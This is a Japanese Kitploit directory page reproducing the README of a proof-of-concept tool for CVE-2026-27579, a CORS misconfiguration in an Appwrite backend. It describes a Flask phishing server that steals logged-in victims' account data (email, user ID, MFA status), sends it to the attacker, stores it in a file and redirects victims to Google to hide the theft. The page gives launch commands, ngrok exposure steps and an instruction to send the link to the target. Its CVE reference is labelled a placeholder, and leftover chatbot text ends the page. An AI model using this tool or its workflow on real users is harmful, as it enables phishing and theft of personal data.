Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-27579-CollabPlatform-Appwrite-CORS-Misconfiguration — CVE-2026-27579のエクスプロイトPoC。AppwriteバックエンドにおけるCORS設定ミスを悪用し、悪意のあるフィッシングページを介した認証情報付きアカウントデータの窃取を実証します。 | Kitploit
ツール/GitHubGitHub/mbanyamer/cve-2026-27579-collabplatform-appwrite-cors-misconfiguration
フィッシングツール脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティレッドチーミング
GitHubmbanyamer/cve-2026-27579-collabplatform-appwrite-cors-misconfiguration

CVE-2026-27579-CollabPlatform-Appwrite-CORS-Misconfiguration

CVE-2026-27579のエクスプロイトPoC。AppwriteバックエンドにおけるCORS設定ミスを悪用し、悪意のあるフィッシングページを介した認証情報付きアカウントデータの窃取を実証します。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
6ヶ月前未レビュー

Appwrite CORS 設定ミス悪用 PoC

CVE-2026-27579 – 緩すぎる CORS による認証済みアカウントデータ漏洩

Author Role Country Platform Vulnerability CVE Status License

CVE-2026-27579 (GHSA-qh5m-p8jh-hx88)
realtime-collaboration-platform で使用されている Appwrite バックエンドの深刻な CORS 設定ミスにより、攻撃者が制御するオリジンが、ログイン中の被害者から認証済みの機密ユーザーデータ(メールアドレス、ユーザー ID、MFA ステータスなど)を、資格情報付きクロスオリジンリクエスト経由で読み取ることができます。

影響を受けるソフトウェア

  • プロジェクト: realtime-collaboration-platform (CollabPlatform)
  • バックエンド: 緩すぎる CORS 設定の Appwrite Cloud
  • 脆弱なコンポーネント: Access-Control-Allow-Origin のリフレクション + Access-Control-Allow-Credentials: true を備えた /v1/account エンドポイント
  • 影響: フィッシング / 悪意のあるページ訪問によるアカウント乗っ取り / 機密 PII の漏洩

攻撃フロー図

root@kitploit:~
flowchart TD
    A[Victim is logged in\nCollabPlatform / Appwrite] --> B[Victim visits attacker-controlled page\nphishing link / malvertising]
    B --> C[Browser sends GET /v1/account\nwith session cookies credentials: 'include']
    C --> D[Appwrite reflects arbitrary Origin\nAccess-Control-Allow-Origin: evil.com]
    D --> E[Access-Control-Allow-Credentials: true]
    E --> F[Browser allows JavaScript to read response\nemail, $id, mfa, name, ...]
    F --> G[Data exfiltrated to attacker server\nPOST /collect]
    G --> H[Attacker receives full account details]

特徴

  • シンプルな Flask ベースの悪意のあるサーバー
  • 認証済み Appwrite アカウントデータを窃取するフィッシングページを生成
  • 攻撃者のエンドポイントにデータを外部送信(表示 + ファイル保存)
  • カスタム --lhost と --lport をサポート
  • 窃取後に被害者を Google へリダイレクト(意図を隠蔽)

必要条件

root@kitploit:~
pip install flask

使用方法

root@kitploit:~
# 基本的な使用方法
python3 exploit.py --lhost 192.168.1.100 --lport 8000

# ドメイン / パブリック IP を使用する場合
python3 exploit.py --lhost attacker.yourdomain.com --lport 8080

# パブリック公開用(推奨)
# 1. スクリプトを実行
# 2. ngrok を使用: ngrok http 8000
# 3. コード内の http://<lhost>:<lport> を ngrok URL に置き換える
#    (または --lhost = your-ngrok-url.ngrok-free.app で再実行)

実行時の出力例:

root@kitploit:~
[*] Starting malicious server → http://192.168.1.100:8000
[*] Send this link to the target:
    http://192.168.1.100:8000/

被害者がログイン中にリンクを訪問 → データがターミナルに表示され、stolen_accounts.txt に保存されます

法的・倫理的警告

このコードは、教育目的、許可を得たセキュリティテスト、レッドチーム演習、および脆弱性研究のためにのみ提供されています。

明示的な書面による許可なしに、いかなるシステムや個人に対して不正に使用することは、ほとんどの法域で違法です(コンピュータ詐欺、不正アクセス、データ窃取、フィッシング関連法など)。

所有している環境、または正式なテスト許可を得た環境でのみ使用してください。

参考情報

  • CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-27579 (プレースホルダー – 実際の CVE は異なる場合があります)
  • GitHub Advisory: https://github.com/karnop/realtime-collaboration-platform/security/advisories/GHSA-qh5m-p8jh-hx88
  • CWE-346: Origin 検証エラー
  • CWE-942: 信頼できないドメインに対する緩すぎるクロスドメインポリシー

著者

Mohammed Idrees Banyamer
セキュリティリサーチャー
ヨルダン
Instagram: @banyamer_security

これをそのまま README.md ファイルにコピー&ペーストしてください。

スクリーンショットの追加、バッジの色の変更、セクションの追加(デモ、緩和策など)、ライセンスバッジ / スター / フォークカウンターの追加などが必要な場合は、お知らせください。拡張できます。

ツールをダウンロード